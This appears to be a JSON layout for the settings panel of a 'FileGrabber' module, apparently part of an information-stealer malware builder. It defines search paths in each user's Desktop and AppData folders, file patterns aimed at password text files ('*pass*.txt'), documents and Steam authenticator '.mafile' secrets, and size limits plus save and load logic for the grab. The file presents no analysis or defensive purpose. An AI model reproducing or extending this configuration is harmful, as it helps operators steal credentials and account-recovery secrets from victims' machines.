{"text":{"type":"text","anchors":{"left":6},"events":[],"text":"Search paths:","w":150,"h":20,"x":7,"y":5},"text1":{"type":"text","anchors":{"right":6},"events":[],"text":"File name patterns:","w":300,"h":20,"x":321,"y":5},"area":{"type":"textarea","anchors":{"left":6,"right":309},"events":[],"text":"{SYSTEMDRIVE}/Users/{USERNAME}/Desktop/\n{SYSTEMDRIVE}/Users/{USERNAME}/AppData/","w":311,"h":150,"x":7,"y":25},"area1":{"type":"textarea","anchors":{"right":6},"events":[],"text":"*.doc\n*pass*.txt\n*.mafile","w":300,"h":150,"x":321,"y":25},"text2":{"type":"text","anchors":{"left":6},"events":[],"text":"Max file size (KB):","w":150,"h":20,"x":7,"y":210},"field":{"type":"textfield","anchors":{"left":6,"right":6},"events":[],"text":"1000","w":200,"h":32,"x":7,"y":230,"prompt":"1 MB = 1000 KB"},"text3":{"type":"text","anchors":{"left":6,"right":6},"events":[],"text":"Path format variables: {USERNAME}, {SYSTEMDRIVE}","w":150,"h":20,"x":7,"y":180,"css":"-fx-font-weight: bold"},"s":{"type":"separator","anchors":{"left":1,"right":1},"events":[],"orientation":"HORIZONTAL","w":100,"h":10,"x":2,"y":200},"Save":{"type":"button","anchors":{"right":6},"events":{"OnClick":[{"~":"GetValue","object":"relpath","name":"selected","return":[{"~":"SetConfigData","configname":"FileGrabber","dataname":"relpath","value":"$return"}]},{"~":"GetValue","object":"topdir","name":"selected","return":[{"~":"SetConfigData","configname":"FileGrabber","dataname":"topdir","value":"$return"}]},{"~":"SetConfigData","configname":"FileGrabber","dataname":"paths","value":"@area"},{"~":"SetConfigData","configname":"FileGrabber","dataname":"patterns","value":"@area1"},{"~":"SetConfigData","configname":"FileGrabber","dataname":"maxsize","value":"@field"},{"~":"SetConfigData","configname":"FileGrabber","dataname":"totalmaxsize","value":"@field1"},{"~":"Message","text":"Config saved and applied!"}]},"text":"Save config","w":120,"h":32,"x":501,"y":395},"load":{"type":"method","nonvisual":true,"events":{"OnExecute":[{"~":"GetConfigData","configname":"FileGrabber","dataname":"paths","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"area","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"FileGrabber","dataname":"patterns","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"area1","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"FileGrabber","dataname":"maxsize","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"field","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"FileGrabber","dataname":"totalmaxsize","return":[{"~":"IfEquals","first":"$return","second":0,"return":{"Equals":[],"NotEquals":[{"~":"SetValue","object":"field1","name":"text","value":"$return"}]}}]},{"~":"GetConfigData","configname":"FileGrabber","dataname":"topdir","return":[{"~":"SetValue","object":"topdir","name":"selected","value":"$return"}]},{"~":"GetConfigData","configname":"FileGrabber","dataname":"relpath","return":[{"~":"SetValue","object":"relpath","name":"selected","value":"$return"}]}]},"x":10,"y":440,"autostart":true},"topdir":{"type":"checkbox","anchors":{"left":6,"right":6},"events":[],"text":"Scan top directory only","w":345,"h":25,"x":7,"y":340},"text4":{"type":"text","anchors":{"left":6},"events":[],"text":"Search options:","w":150,"h":20,"x":7,"y":320},"relpath":{"type":"checkbox","anchors":{"left":6,"right":6},"events":[],"text":"Include relative file path","w":245,"h":25,"x":7,"y":365},"text21":{"type":"text","anchors":{"left":6},"events":[],"text":"Max total files size (KB):","w":150,"h":20,"x":7,"y":265},"field1":{"type":"textfield","anchors":{"left":6,"right":6},"events":[],"text":"5000","w":200,"h":32,"x":7,"y":285,"prompt":"1 MB = 1000 KB"}}